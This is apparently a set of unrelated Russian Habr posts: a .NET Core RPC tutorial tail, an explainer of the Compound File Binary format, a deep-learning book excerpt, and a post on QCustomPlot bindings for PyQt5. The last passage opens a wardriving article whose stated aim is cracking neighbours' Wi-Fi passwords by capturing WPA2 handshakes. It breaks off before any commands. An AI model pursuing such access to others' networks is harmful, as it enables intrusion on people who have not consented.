// Сборка не загружена
//Поэтому явно загрузим сборку на сервере и повторим операцию CoryTo
catch (Exception)
{
Console.WriteLine("Ошибка " + connector.LastError);
var assembly = wrap.GetAssembly("TestDll");
test = connector.CoryTo(obj);
}
Console.WriteLine(test.ObjectProperty);
}
```
Также сборки, не находящиеся в каталоге Core CLR или не являющиеся NuGet пакетами, нужно вручную загружать:
**Код загрузки сборки**
```
static Assembly LoadAssembly(string fileName)
{
var Dir = AppContext.BaseDirectory;
string path = Path.Combine(Dir, fileName);
Assembly assembly = null;
if (File.Exists(path))
{
try
{
var asm = System.Runtime.Loader.AssemblyLoadContext.GetAssemblyName(path);
assembly = Assembly.Load(asm);
}
catch (Exception)
{
assembly = System.Runtime.Loader.AssemblyLoadContext.Default.LoadFromAssemblyPath(path);
}
}
else
throw new Exception("Не найдена сборка " + path);
return assembly;
}
```
Для того, что бы скопировать серверный объект на клиента, нужно использовать следующий метод:
```
var objFromServ = connector.CoryFrom>(dict);
Console.WriteLine("dict[2] " + objFromServ[2]);
```
Можно использовать JObject, если такого типа нет на клиенте, используя:
```
connector.CoryFrom(
```
Ну и под конец. перейдем к подключению к серверу.
```
if (LoadLocalServer)
{
// Запустим процесс dotnet.exe c Server.dll,передав известный путь.
connector = ClientRPC.TCPClientConnector.LoadAndConnectToLocalServer(GetParentDir(dir, 4) + $@"\Server\Server\bin\Release\netcoreapp1.1\Server.dll");
}
else
{
// Подключимся к запущенному серверу по известному порту и адресу
//третий параметр отвечает за признак постоянного соединения с сервером
//Используется пул из 5 соединений
connector = new ClientRPC.TCPClientConnector("127.0.0.1", port, false);
// Запустим Tcp/IP сервер на стороне клиента для асинхронных методов и получения событий.
port = ClientRPC.TCPClientConnector.GetAvailablePort(6892);
connector.Open(port, 2);
}
```
Внутри LoadAndConnectToLocalServer мы запускаем процесс dotnet.exe с адресом файла Server.dll:
**Код загрузки процесса сервера**
```
public static TCPClientConnector LoadAndConnectToLocalServer(string FileName)
{
int port = 1025;
port = GetAvailablePort(port);
ProcessStartInfo startInfo = new ProcessStartInfo("dotnet.exe");
startInfo.Arguments = @""""+ FileName+ $@""" { port}";
Console.WriteLine(startInfo.Arguments);
var server = Process.Start(startInfo);
Console.WriteLine(server.Id);
var connector = new TCPClientConnector("127.0.0.1", port);
port++;
port = GetAvailablePort(port);
connector.Open(port, 2);
return connector;
}
```
Теперь мы можем получить proxy.
```
wrap = ClientRPC.AutoWrapClient.GetProxy(connector);
```
И с помощью него получать типы, вызывать статические методы, создавать объекты, вызывать методы объектов и тд.
По окончании работы с сервером, нужно отключиться от него и, если мы запустили процесс, то выгрузить его.
```
// Вызовем финализаторы всех AutoWrapClient ссылок на серверные объекты
GC.Collect();
GC.WaitForPendingFinalizers();
Console.WriteLine("Press any key");
Console.ReadKey();
// Удаления из хранилища на стороне сервера происходит пачками, по 50 элементов
// Отправим оставшиеся
connector.ClearDeletedObject();
// Отключимся от сервера, закроем все соединения, Tcp/Ip сервер на клиенте
connector.Close();
// Если мы запустили процесс сервера,
// То выгрузим его
if (LoadLocalServer) connector.CloseServer();
Console.WriteLine("Press any key");
Console.ReadKey();
```
Что касается событий, то можно посмотреть статью [CEF, Angular 2 использование событий классов .Net Core](https://habrahabr.ru/post/321452/).
Там описан процесс работы с событиями .Net объектов. Единственное, что код модуля для клиента можно получить:
```
var @DescribeEventMethods = wrap.GetType("NetObjectToNative.DescribeEventMethods", "Server");
string CodeModule = @DescribeEventMethods.GetCodeModuleForEvents(@EventTest);
```
Обращу внимание, что при подписке на событие с двумя и больше параметрами. создается
анонимный класс с полями соответствующими именами и типам параметров. Так для события:
```
public event Action EventWithTwoParameter;
```
Будет создана обертка:
```
Target.EventWithTwoParameter += (arg1,arg2) =>
{
if (EventWithTwoParameter!=null)
{
var EventWithTwoParameterObject = new {arg1=arg1,arg2=arg2};
EventWithTwoParameter(EventWithTwoParameterObject);
}
};
```
CodeModule будет содержать следующий код:
```
// параметр value:Анонимный Тип
// Свойства параметра
// arg1:System.String
// arg2:System.Int32
static public void EventWithTwoParameter(dynamic value)
{
Console.WriteLine("EventWithTwoParameter " + wrap.toString(value));
// Можно обратиться к параметрам.
Console.WriteLine($"EventWithTwoParameter arg1:{value.arg1} arg2:{value.arg2}");
value(ClientRPC.AutoWrapClient.FlagDeleteObject);
}
```
Про использование динамической компиляции можно почитать здесь [.Net Core, 1C, динамическая компиляция, Scripting API](https://habrahabr.ru/post/309340/).
Что касается безопасности [Analog System.Security.Permissions in .NET Core](http://stackoverflow.com/questions/38374796/analog-system-security-permissions-in-net-core), то советуют запускать процесс под определенным аккаунтом пользователя с определенными правами.
Следует выразить сожаление, что в C# для динамиков нет псевдоинтерфейсов, аналога аннотации типа в TypeScript d.ts, для статической проверки кода и IntelliSense.
Но можно писать обычный код, переделывая его на удаленный. с минимальными телодвижениями.
Исходники лежат здесь [RPCProjects](https://github.com/Serginio1/RPCProjectsForGitHub).
Перед запуском примеров скомпилируйте проекты и скопируйте из папки TestDll\bin\Release\netcoreapp1.1\ библиотеку TestDll.dll в каталоги Server\bin\Release\netcoreapp1.1\ и Client\bin\Release\netcoreapp1.1\.
Если статья вызовет интерес, то в следующей статье распишу механизмы обмена и вызова методов на сервере.
**P.S.** Активно избавляюсь от руслиша в коде но, его еще достаточно много. Если проект будет интересен, то окончательно вычищу от русского кода. | https://habr.com/ru/post/323096/ | null | ru | null |
# Препарируем Compound File Binary format (CFB), или начинаем парсить DOC
Compound File – это довольно сложный универсальный бинарный формат файлов, лежащий в основе форматов офисных документов до MS Office 2007 (doc, xls, ppt, msg, …), отчасти MS Office 2007+ (например vbaProject.bin внутри xlsm) и других.
Под катом краткое описание как Compound File устроен внутри, которое, надеюсь, будет полезно как ликбез и поможет читателю лучше понимать что делают утилиты или про что пишут в статьях про CFB файлы.
Устройтсво CFB файла сильно напоминает устройство диска с FAT. Логически CFB хранит древовидную структуру объектов, подобную файловой системе с директориями (тип объекта в CFB – STORE) и файлами (в CFB — STREAM). Каждый объект имеет имя.
Весь файл разбит на сектора размером 512 байт для v3 и 4096 байт для v4. Это, на мой взгляд, главная разница между v3 и v4. Дальше цифры для примеров я буду приводить для v3 (и в скобках – для v4). В начальном секторе хранится заголовок файла и начало таблицы DIFAT (см. ниже). Значение содержимого других секторов определяется динамически по таблицам DIFAT и FAT (да, она прям так и называется, как в файловой системе), фиксированных значений “сектор n содержит информацию типа t” больше нет.
Всего максимум может быть 0xFFFFFFFA секторов. Номера секторов больше 0xFFFFFFFA являются маркерами и фактически ни на какой сектор не указывают. Например 0xFFFFFFFE (EndOfChain) означает, что текущий сектор – последний в списке.
DIFAT
-----
DIFAT – Double Indirection File Access Table. Это массив 4х байтных номеров секторов, в которых находится FAT. Первые 109 записей хранятся в первом секторе файла (пять из них выделены жёлтым внизу КДПВ). Если файл больше 6.8 Мбайт (436 Мбайт для v4), то следующие сектора DIFAT хранятся как односвязный список. Номер первого сектора из этого списка хранится в заголовке. В кажом из этих секторов хранится 127 (1023) указателей на сектора с FAT, а в последних 4х байтах — номер следующего сектора DIFAT.
FAT
---
FAT – File Access Table. Это массив из 4х байтных значений. Работает так же, как в одноимённой файловой системе. Каждому сектору в файле (кроме заголовочного) соответствует 4х байтное значение в FAT.
Для чтения потока данных (STREAM) нужно знать длину потока (в байтах) и номер первого сектора этого потока. Номер следующего сектора всегда записан в элементе FAT, соответствующем текущему сектору. В элементе FAT, соответствующем последнему сектору в потоке, будет записано значение 0xFFFFFFFE (EndOfChain).
**Пример цепочки в FAT**
Если данные в потоке записаны в 3 сектора: 0, 1 и 4, то в FAT будут записаны такие значения: 1, 4, x, x, 0xFFFFFFFE (где x — какое-то значение, к данному потоку отношения не имеющее).
Для чтения этого потока мы читает данные из сектора №0, расположенного сразу после заголовка файла (сам заголовочный сектор имеет номер -1), читаем номер следующего сектора из FAT[0] = 1, читаем данные из сектора №1 и номер следующего сектора из FAT[1] = 4, читаем данные из сектора №4 и в FAT[4] видим что это последний сектор этого потока (EndOfChain).
Directory
---------
Это структура, которая хранит информацию обо всех остальных объектах в файле, аналог структуры каталогов. Сама она хранится в виде потока данных, длина и первый сектор которого записаны в заголовке файла. Представляет из себя массив 128 байтных записей. Каждая запись соответствует хранимому объекту. Объекты в directory имеют имя и бывают 4х видов:
1. ROOT — «корень» дерева каталогов. В directory хранится в элементе №0, имя всегда — «Root Entry». По сути является «директорией», но хранит информацию о потоке данных с MiniStream (см. ниже).
2. STORE — «директория». Логически является вместилищем других объектов типа STORE или STREAM. Физически дочерние объекты хранятся в виде списка (ещё точнее — [чёрно-красного дерева](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B0%D1%81%D0%BD%D0%BE-%D1%87%D1%91%D1%80%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)), а в STORE хранится указатель на один из дочерних объектов. Никакой поток данных к STORE не прицеплен, но есть ClSid — GUID приложения, к которому относится содержимое этой «директории».
3. STREAM — «файл». Хранит информацию о потоке данных (первый сектор и длина); дочерних объектов и ClSid нет.
4. UNKNOWN — пустой объект. Запись, (почти) забитая 0, чисто технически нужна для дополнения списка Directory до длины, кратной длине сектора.
У каждого объекта есть временные метки: время создания и время модификации, правда часто они просто заполнены 0.
Пример дерева директорий небольшого doc файла:
`Root_storage:Root Entry 06090200-0000-0000-c000-000000000046
- Stream:\x01CompObj[106]
- Stream:\x01Ole[20]
- Stream:1Table[4640]
- Stream:Data[374]
- Stream:\x05SummaryInformation[172]
- Stream:WordDocument[198510]
- Storage:ObjectPool 00000000-0000-0000-0000-000000000000
- Stream:\x05DocumentSummaryInformation[116]`
MiniStream и MiniFAT
--------------------
В принципе описанного выше достаточно для хранения данных, но в CFB предусмотрена ещё оптимизация для хранения коротких потоков данных — меньше 4096 байт.
При хранении потока данных, длина которого не кратна длине сектора, в последнем секторе остаётся некоторое количество неиспользуемых байт. Чем больше сектор — тем больше таких байт в среднем остаётся. Для борьбы с этой проблемой все небольшие (меньше 4096 байт) потоки данных хранятся не в обычных секторах по 512 (4096) байт и FAT, а в отдельном потоке, разбитом на сектора по 64 байта. Этот поток называется MiniStream, а информация для сцепления его секторов в потоки хранится в MiniFAT. Работает это всё совершенно аналогично основной FAT.
И MiniFAT, и MiniStream хранятся как обычные (не Mini) потоки данных. Номер первого сектора и длина MiniFAT хранятся в заголовке, а информация о MiniStream — в объекте «Root Entry» (логической причины хранить именно там не вижу).
Получается такая «матрёшка»: файл разделён на 512 (4096) байтные сектора, а один из потоков, состоящих из этих секторов, рассматривается как последовательность 64 байтных секторов, и в нём уже хранятся «мини» потоки данных.
Откуда читать поток данных: из «большой» FAT или из MiniStream, определяется только по его размеру (меньше 4096 — из MiniStream, иначе — как обычный поток).
Где же текст/картинка/таблица/макрос?
-------------------------------------
CFB используется как хранилище, позволяющее сохранить данные разных приложений в одном файле. Если вы хотите докопаться до человекочитаемых данных, то надо парсить потоки данных, извлечённые из CFB, в соответствии с форматом данных приложения. Эта тема выходит за пределы данной статьи (но см. ссылки).
Выводы
------
По идее такая структура файла была разработана для ускорения внесения отдельных изменений в файл без его полной перезаписи. Не думаю, что это свойство ценно сейчас для обычных офисных документов размером несколько мегабайт.
В общем структура файла CFB — просто кладезь для стеганографии, основанной на формате файла. Т. е. сделать совершенно корректный файл, который при открытии в ворде покажет «Hello world», а внутри будет ещё много, которые «правильный» парсер будет считать просто мусором — вообще не проблема.
С другой стороны — огромный простор для ошибок, путаницы и т. п., огромное количество избыточных записей. Например, можно «зациклить» цепочку секторов, образующую поток. «Наивный» парсер при чтении такого файла зависнет.
P.S. Файлы MS Office 2007 и старше (docx, xlsx, pptx, docm,…) имеют совершенно другой формат. Внутри там тоже дерево директорий, только вместо CFB там используется ZIP (да, их можно прям раззиповать). Однако макросы, например, хранятся внутри документа в файле vbaProject.bin, который является Compound файлом.
Ссылки
------
* Сам CFB очень хорошо (на мой взгляд) документирован: [[MS-CFB]: Compound File Binary File Format](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b)
* [[MS-DOC]: Word (.doc) Binary File Format](https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-doc/ccd7b486-7881-484c-a137-51170af7cc22) для тех, кто хочет полноценно разобрать doc.
* [[MS-OVBA]: Office VBA File Format Structure](https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc) о том, как хранятся макросы, в том числе в Office 2007+ (docm, xlsm, ...)
* Довольно подробная статья на Хабре про CFB и дальнейший парсинг DOC от [gatoazul](https://habr.com/en/users/gatoazul/): [Внутренности вордовских файлов: просто ужас](https://habr.com/ru/post/110019/)
* Ещё пара статей на Хабре про парсинг DOC от [Rembish](https://habr.com/en/users/rembish/):
[Текст любой ценой: WCBFF и DOC](https://habr.com/en/post/72745/) и [Текст любой ценой: Miette](https://habr.com/en/post/109124/)
* Для практического анализа файлов MS Office (как до 2007 Офиса, так и после), в том числе подозрительных, рекомендую набор утилит [OleTools](https://github.com/decalage2/oletools/). Их можно использовать и как отдельные программы, и как модули Python.
* Ещё полезный набор утилит [OleDump](https://blog.didierstevens.com/programs/oledump-py/)
* [CFB extractor](https://github.com/Nokta-strigo/CFB_extractor), появившийся в процессе написания этой статьи. Из полезного умеет доставать из CFB файла все потоки данных (включая потоки, не имеющие соответствующей записи в директории). | https://habr.com/ru/post/534126/ | null | ru | null |
# Книга «Грокаем глубокое обучение»
[](https://habr.com/ru/company/piter/blog/464509/) Привет, Хаброжители! Книга закладывает фундамент для дальнейшего овладения технологией глубокого обучения. Она начинается с описания основ нейронных сетей и затем подробно рассматривает дополнительные уровнии архитектуры.
Книга специально написана с намерением обеспечить минимально возможный порог входа. Вам не требуются знания линейной алгебры, численных методов, выпуклых оптимизаций и даже машинного обучения. Все, что потребуется для понимания глубокого обучения, будет разъясняться по ходу дела.
Предлагаем ознакомится с отрывком «Что такое фреймворк глубокого обучения?»
**Хорошие инструменты уменьшают количество ошибок, ускоряют разработку и увеличивают скорость выполнения**
Если вы много читали о глубоком обучении, то наверняка сталкивались с такими известными фреймворками, как PyTorch, TensorFlow, Theano (недавно был объявлен устаревшим), Keras, Lasagne и DyNet. В последние несколько лет фреймворки развивались очень быстро, и, несмотря на то что все эти фреймворки распространяются бесплатно и с открытым исходным кодом, в каждом из них присутствует дух состязания и товарищества.
До сих пор я избегал обсуждения фреймворков, потому что, прежде всего, для вас крайне важно было понять, что происходит за кулисами, реализовав алгоритмы вручную (с использованием только библиотеки NumPy). Но теперь мы начнем пользоваться такими фреймворками, потому что сети, которые мы собираемся обучать, — сети с долгой краткосрочной памятью (LSTM) — очень сложны, и код, реализующий их с использованием NumPy, сложно читать, использовать и отлаживать (градиенты в этом коде встречаются повсеместно).
Именно эту сложность призваны устранить фреймворки глубокого обучения. Фреймворк глубокого обучения может существенно снизить сложность кода (а также уменьшить количество ошибок и повысить скорость разработки) и увеличить скорость его выполнения, особенно если для обучения нейронной сети использовать графический процессор (GPU), что может ускорить процесс в 10–100 раз. По этим причинам фреймворки используются в сообществе исследователей почти повсеместно, и понимание особенностей их работы пригодится вам в вашей карьере пользователя и исследователя глубокого обучения.
Но мы не будем ограничивать себя рамками какого-то конкретного фреймворка, потому что это помешает вам узнать, как работают все эти сложные модели (такие, как LSTM). Вместо этого мы создадим свой легковесный фреймворк, следуя последним тенденциям в разработке фреймворков. Следуя этим путем, вы будете точно знать, что делают фреймворки, когда с их помощью создаются сложные архитектуры. Кроме того, попытка самостоятельно создать свой небольшой фреймворк поможет вам плавно перейти к использованию настоящих фреймворков глубокого обучения, потому что вы уже будете знать принципы организации программного интерфейса (API) и его функциональные возможности. Мне это упражнение очень пригодилось, а знания, полученные при создании собственного фреймворка, оказались как нельзя кстати при отладке проблемных моделей.
Как фреймворк упрощает код? Если говорить абстрактно, он избавляет от необходимости снова и снова писать один и тот же код. А конкретно, наиболее удобной особенностью фреймворка глубокого обучения является поддержка автоматического обратного распространения и автоматической оптимизации. Это позволяет писать только код прямого распространения, а фреймворк автоматически позаботится об обратном распространении и коррекции весов. Большинство современных фреймворков упрощают даже код, реализующий прямое распространение, предлагая высокоуровневые интерфейсы для определения типичных слоев и функций потерь.
### Введение в тензоры
**Тензоры — это абстрактная форма векторов и матриц**
До этого момента в качестве основных структур мы использовали векторы и матрицы. Напомню, что матрица — это список векторов, а вектор — список скаляров (отдельных чисел). Тензор — это абстрактная форма представления вложенных списков чисел. Вектор — это одномерный тензор. Матрица — двумерный тензор, а структуры с большим числом измерений называются n-мерными тензорами. Поэтому начнем создание нового фреймворка глубокого обучения с определения базового типа, который назовем Tensor:
```
import numpy as np
class Tensor (object):
def __init__(self, data):
self.data = np.array(data)
def __add__(self, other):
return Tensor(self.data + other.data)
def __repr__(self):
return str(self.data.__repr__())
def __str__(self):
return str(self.data.__str__())
x = Tensor([1,2,3,4,5])
print(x)
[1 2 3 4 5]
y = x + x
print(y)
[2 4 6 8 10]
```
Это первая версия нашей базовой структуры данных. Обратите внимание, что всю числовую информацию она хранит в массиве NumPy (self.data) и поддерживает единственную тензорную операцию (сложение). Добавить дополнительные операции совсем несложно, достаточно добавить в класс Tensor дополнительные функции с соответствующей функциональностью.
### Введение в автоматическое вычисление градиента (autograd)
**Прежде мы выполняли обратное распространение вручную. Теперь сделаем его автоматическим!**
В главе 4 мы познакомились с производными. С тех пор мы вручную вычисляли эти производные в каждой новой нейронной сети. Напомню, что достигается это обратным перемещением через нейронную сеть: сначала вычисляется градиент на выходе сети, затем этот результат используется для вычисления производной в предыдущем компоненте, и так далее, пока для всех весов в архитектуре не будут определены правильные градиенты. Эту логику вычисления градиентов тоже можно добавить в класс тензора. Ниже показано, что я имел в виду.
```
import numpy as np
class Tensor (object):
def __init__(self, data, creators=None, creation_op=None):
self.data = np.array(data)
self.creation_op = creation_op
self.creators = creators
self.grad = None
def backward(self, grad):
self.grad = grad
if(self.creation_op == "add"):
self.creators[0].backward(grad)
self.creators[1].backward(grad)
def __add__(self, other):
return Tensor(self.data + other.data,
creators=[self,other],
creation_op="add")
def __repr__(self):
return str(self.data.__repr__())
def __str__(self):
return str(self.data.__str__())
x = Tensor([1,2,3,4,5])
y = Tensor([2,2,2,2,2])
z = x + y
z.backward(Tensor(np.array([1,1,1,1,1])))
```
Этот метод вводит два новшества. Во-первых, каждый тензор получает два новых атрибута. creators — это список любых тензоров, использовавшихся для создания текущего тензора (по умолчанию имеет значение None). То есть если тензор z получается сложением двух других тензоров, x и y, атрибут creators тензора z будет содержать тензоры x и y. creation\_op — сопутствующий атрибут, который хранит операции, использовавшиеся в процессе создания данного тензора. То есть инструкция z = x + y создаст вычислительный граф с тремя узлами (x, y и z) и двумя ребрами (z -> x и z -> y). Каждое ребро при этом подписано операцией из creation\_op, то есть add. Этот граф поможет организовать рекурсивное обратное распространение градиентов.
Первым новшеством в этой реализации является автоматическое создание графа при выполнении каждой математической операции. Если взять z и выполнить еще одну операцию, граф будет продолжен в новой переменной, ссылающейся на z.
Второе новшество в этой версии класса Tensor — возможность использовать граф для вычисления градиентов. Если вызвать метод z.backward(), он передаст градиент для x и y с учетом функции, с помощью которой создавался тензор z (add). Как показано в примере выше, мы передаем вектор градиентов (np.array([1,1,1,1,1])) в z, а тот применяет его к своим родителям. Как вы наверняка помните из главы 4, обратное распространение через сложение означает применение сложения при обратном распространении. В данном случае у нас есть только один градиент для добавления в x и y, поэтому мы копируем его из z в x и y:
```
print(x.grad)
print(y.grad)
print(z.creators)
print(z.creation_op)
[1 1 1 1 1]
[1 1 1 1 1]
[array([1, 2, 3, 4, 5]), array([2, 2, 2, 2, 2])]
add
```
Самой замечательной особенностью этой формы автоматического вычисления градиента является то, что она работает рекурсивно — каждый вектор вызывает метод .backward() всех своих родителей из списка self.creators:
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/best/product/grokaem-glubokoe-obuchenie?_gs_cttl=120&gs_direct_link=1&gsaid=82744&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544611334/978544611334_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611334/978544611334_p.pdf)
Для Хаброжителей скидка 25% по купону — **Глубокое обучение**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/464509/ | null | ru | null |
# Bindings QCustomPlot для Python
Добрый день, хаброжители!
Введение
--------
В свободное от работы время увлекся написанием приложений на PyQt5. И свой давний проект по ведению домашней бухгалтерии [MyWallet](https://github.com/dimV36/MyWallet) решил в конце мая переписать с плюсов на Python, так как в предыдущей версии были допущены ряд архитектурных ошибок, которые на хотелось исправлять. Поэтому собрав PyQt5 из исходников под Fedora 21, где-то за две недели реализовал весь функционал, который был ранее. И теперь встает вопрос в визуализации данных по расходам/доходам помесячно. Так как имел опыт визуализации данных с помощью [QCustomPlot](http://www.qcustomplot.com) , хотел визуализацию сделать с помощью этой либы. Но к огорчению, не нашел биндов.
Сборка
-------
После просмотра исходников PyQt5 было выяснено, что генерация биндов реализована с помощью [SIP](http://pyqt.sourceforge.net/Docs/sip4/#)). SIP принимает на вход что-то вроде урезанного заголовка методов класса (естественно, со своими так называемыми аннотациями), а на выходе генерирует C++ код для создания готового модуля python.
Итак, для сборки модуля QCustomPlot для Python нам понадобится:
1. Qt 5.x.
2. SIP наиболее свежей версии.
3. PyQt 5.x.
4. Собранная в виде динамически подключаемой библиотеки qcustomplot, собранной под Qt 5.x.
5. Файл специального вида с описанием интерфейса классов библиотеки.
Покопавшись по github'у в поисках готового файла интерфейса для этой либы, наткнулся на репозиторий [qcustomplot-python](https://github.com/mds5000/qcustomplot-python), владелец которого собрал бинды, правда для PyQt4. Действуя по аналогии, получаем файл интерфейса либы qcustomplot.sip.
В этом же репозитории можно найти и configure.py, который, как известно, необходим для сборки и установки модулей Python. Данный файл пришлось адаптировать к новой версии PyQt.
Ну, а далее стандартно:
```
$ python3 configure.py build
$ make
$ sudo make install
```
Удостоверимся, что у нас все получилось, запуститим IPy:
```
$ python3
>>> import qcustomplot
>>> dir(qcustomplot)
['QCP', 'QCPAbstractItem', 'QCPAbstractLegendItem', 'QCPAbstractPlottable', 'QCPAxis', 'QCPAxisRect', 'QCPBarData', 'QCPBars', 'QCPBarsGroup', 'QCPColorGradient', 'QCPColorMap', 'QCPColorMapData', 'QCPColorScale', 'QCPColorScaleAxisRectPrivate', 'QCPCurve', 'QCPCurveData', 'QCPData', 'QCPFinancial', 'QCPFinancialData', 'QCPGraph', 'QCPGrid', 'QCPItemAnchor', 'QCPItemBracket', 'QCPItemCurve', 'QCPItemEllipse', 'QCPItemLine', 'QCPItemPixmap', 'QCPItemPosition', 'QCPItemRect', 'QCPItemStraightLine', 'QCPItemText', 'QCPItemTracer', 'QCPLayer', 'QCPLayerable', 'QCPLayout', 'QCPLayoutElement', 'QCPLayoutGrid', 'QCPLayoutInset', 'QCPLegend', 'QCPLineEnding', 'QCPMarginGroup', 'QCPPainter', 'QCPPlotTitle', 'QCPPlottableLegendItem', 'QCPRange', 'QCPScatterStyle', 'QCPStatisticalBox', 'QCustomPlot', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
>>>
```
Ну, а чтобы совсем было красиво, привожу код одного из примеров [BarsDemo](http://www.qcustomplot.com/index.php/demos/barchartdemo):
**Код примера**
```
import sys
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QApplication
from PyQt5.QtGui import QColor, QPen
from qcustomplot import QCustomPlot, QCPBars, QCP
if __name__ == '__main__':
app = QApplication(sys.argv)
w = QCustomPlot()
regen = QCPBars(w.xAxis, w.yAxis)
nuclear = QCPBars(w.xAxis, w.yAxis)
fossil = QCPBars(w.xAxis, w.yAxis)
w.addPlottable(regen)
w.addPlottable(nuclear)
w.addPlottable(fossil)
pen = QPen()
pen.setWidthF(1.2)
fossil.setName('Fossil fuels')
pen.setColor(QColor(255, 131, 0))
fossil.setPen(pen)
fossil.setBrush(QColor(255, 131, 0, 50))
nuclear.setName('Nuclear')
pen.setColor(QColor(1, 92, 192))
nuclear.setPen(pen)
nuclear.setBrush(QColor(1, 92, 191, 50))
regen.setName('Regenerative')
pen.setColor(QColor(150, 222, 0))
regen.setPen(pen)
regen.setBrush(QColor(150, 222, 0, 70))
nuclear.moveAbove(fossil)
regen.moveAbove(nuclear)
ticks = [1, 2, 3, 4, 5, 6, 7]
labels = ['USA', 'Japan', 'Germany', 'France', 'UK', 'Italy', 'Canada']
w.xAxis.setAutoTicks(False)
w.xAxis.setAutoTickLabels(False)
w.xAxis.setTickVector(ticks)
w.xAxis.setTickVectorLabels(labels)
w.xAxis.setTickLabelRotation(60)
w.xAxis.setSubTickCount(0)
w.xAxis.grid().setVisible(True)
w.xAxis.setRange(0, 8)
w.yAxis.setRange(0, 12.1)
w.yAxis.setPadding(5)
w.yAxis.setLabel('Power Consumption in\nKilowatts per Capita (2007)')
w.yAxis.grid().setSubGridVisible(True)
grid_pen = QPen()
grid_pen.setStyle(Qt.SolidLine)
grid_pen.setColor(QColor(0, 0, 0, 25))
w.yAxis.grid().setSubGridPen(grid_pen)
fossil_data = [0.86 * 10.5, 0.83 * 5.5, 0.84 * 5.5, 0.52 * 5.8, 0.89 * 5.2, 0.90 * 4.2, 0.67 * 11.2]
nuclear_data = [0.08 * 10.5, 0.12 * 5.5, 0.12 * 5.5, 0.40 * 5.8, 0.09 * 5.2, 0.00 * 4.2, 0.07 * 11.2]
regen_data = [0.06 * 10.5, 0.05 * 5.5, 0.04 * 5.5, 0.06 * 5.8, 0.02 * 5.2, 0.07 * 4.2, 0.25 * 11.2]
fossil.setData(ticks, fossil_data)
nuclear.setData(ticks, nuclear_data)
regen.setData(ticks, regen_data)
w.legend.setVisible(True)
w.axisRect().insetLayout().setInsetAlignment(0, Qt.AlignTop|Qt.AlignHCenter)
w.legend.setBrush(QColor(255, 255, 255, 200))
legendPen = QPen()
legendPen.setColor(QColor(130, 130, 130, 200))
w.legend.setBorderPen(legendPen)
w.setInteractions(QCP.iRangeDrag or QCP.iRangeZoom)
w.show()
sys.exit(app.exec())
```
Вот, что получилось:
**Результат**
P.S.
----
Ссылка на репозиторий с исходниками: [QCustomPlot-PyQt5](https://github.com/dimV36/QCustomPlot-PyQt5). В репозитории в каталоге RPMS находятся SRPM и RPM для Fedora21 (PyQt5, qcustomplot 1.3.1 и python3-qcustomplot).
Все комментарии и пожелания приветствуются. Надеюсь, этот модуль вам пригодится. Спасибо за внимание! | https://habr.com/ru/post/260761/ | null | ru | null |
# Добываем Wi-Fi соседа стандартными средствами MacOS
Я всегда был фанатом багов и уязвимостей «на поверхности», всегда завидовал чувакам, которые пишут эксплойты для самых защищённых ОС, а сам умел только скрипткиддить (термин из нулевых). Однако мой [пост](https://habrahabr.ru/post/70330/) про уязвимости в системах контроля версий набрал более 1000 лайков на Хабре и [остаётся топ1](https://habrahabr.ru/top/alltime/) постом за всю историю Хабра, несмотря на то, что был написан 9(!) лет назад.
И сегодня я хотел бы на пальцах показать и рассказать про такую штуку, как вардрайвинг. А точнее, как стандартными средствами MacOS можно добыть пароли от Wi-Fi соседей. Нелёгкая забросила меня на очередную квартиру. Как-то исторически сложилось, что я ленивый. Пару лет назад я уже писал, что моя лень, новая квартира и провод Beeline (бывшая Corbina) помогли мне [найти багу у Билайна](https://habrahabr.ru/post/243997/) и иметь бесплатно интернет в их сети. «Сегодня» происходит «подобное», я на новой квартире, нет даже провода, но есть много сетей у соседей.
Заколебавшись расходовать мобильный трафик, я решил, что «соседям надо помогать», и под «соседями» я имел введу себя…
Когда-то давно я увлекался вардрайвингом, как раз именно до того момента, пока не обнаружил в старой квартире провод Билайна ) Там тоже было много сетей рядом и первое, что пришло в голову — мне нужен wi-fi. С тех пор прошло много лет. Обновляя свои данные про вардрайвинг, я нашёл в сети упоминание, что 90% работы спец.утилит «сегодня» можно сделать стандартными сервисами MacOS. Забегая вперёд, я хотел бы отметить, что не являюсь автором данного метода, я сам нашёл его в забугорном инете, просто, скажем, это вольный перевод и подробное, художественное описание способа добыть wi-fi пароли стандартными методами макоси, не более.
### Принципы добычи паролей соседского Wi-Fi
Надо понимать, что имея Wi-Fi-приёмник, который есть сегодня в любом ноутбуке, ты можешь «снифать» весь беспроводной трафик около себя. Раньше, когда сети были открыты, достаточно было прийти в макдак и за вечер можно было получить 100-200 акков к одноклассникам. Открытая сеть + отсутсвие https делали своё дело.
Сейчас всё интереснее, все переходят на https (пользуясь случаем, хочу передать привет [Lets Encypt](https://letsencrypt.org/). Любимый Lets Encypt, я в телевизоре и передаю вам привет, спасибо, что вы есть) и даже про WEP уже все забыли, все роутеры юзают WPA2. Но, как известно, меч был придуман раньше щита, и никакой WPA2 не помеха человеку, голодного до интернета и видящего около себя кучу Wi-Fi.
Продолжим. Имея Wi-Fi карту, т.е. любой современный ноутбук, мы можем снифать трафик возле себя. Но он бесполезен, ибо зашифрован. Единственное, что можно разобрать из него — метаданные, типа название сетей итп и «рукопожатия», handshake, т.е. авторизации пользователей в сети. Они происходят каждый раз, когда пользователь подключается к wi-fi-сети. Например, когда сосед приходит домой и его смартфон в кармане цепляется к домашнему wi-fi.
Если совсем грубо, рукопожатия представляют собой обычный хэш типа md5.
> Это правда совсем грубо. Ключ там получается путем 4096 раундов SHA1. Если быть точным, то формула такая: Key = PBKDF2(HMAC−SHA1, passphrase, ssid, 4096, 256)
>
>
>
> Кстати, можно заметить, что замешивается название точки, поэтому при уникальном названии предвычисления не помогают. И это аргумент за то, чтобы менять название точки на свое.
спасибо пользователю [jia3ep](https://habrahabr.ru/users/jia3ep/)
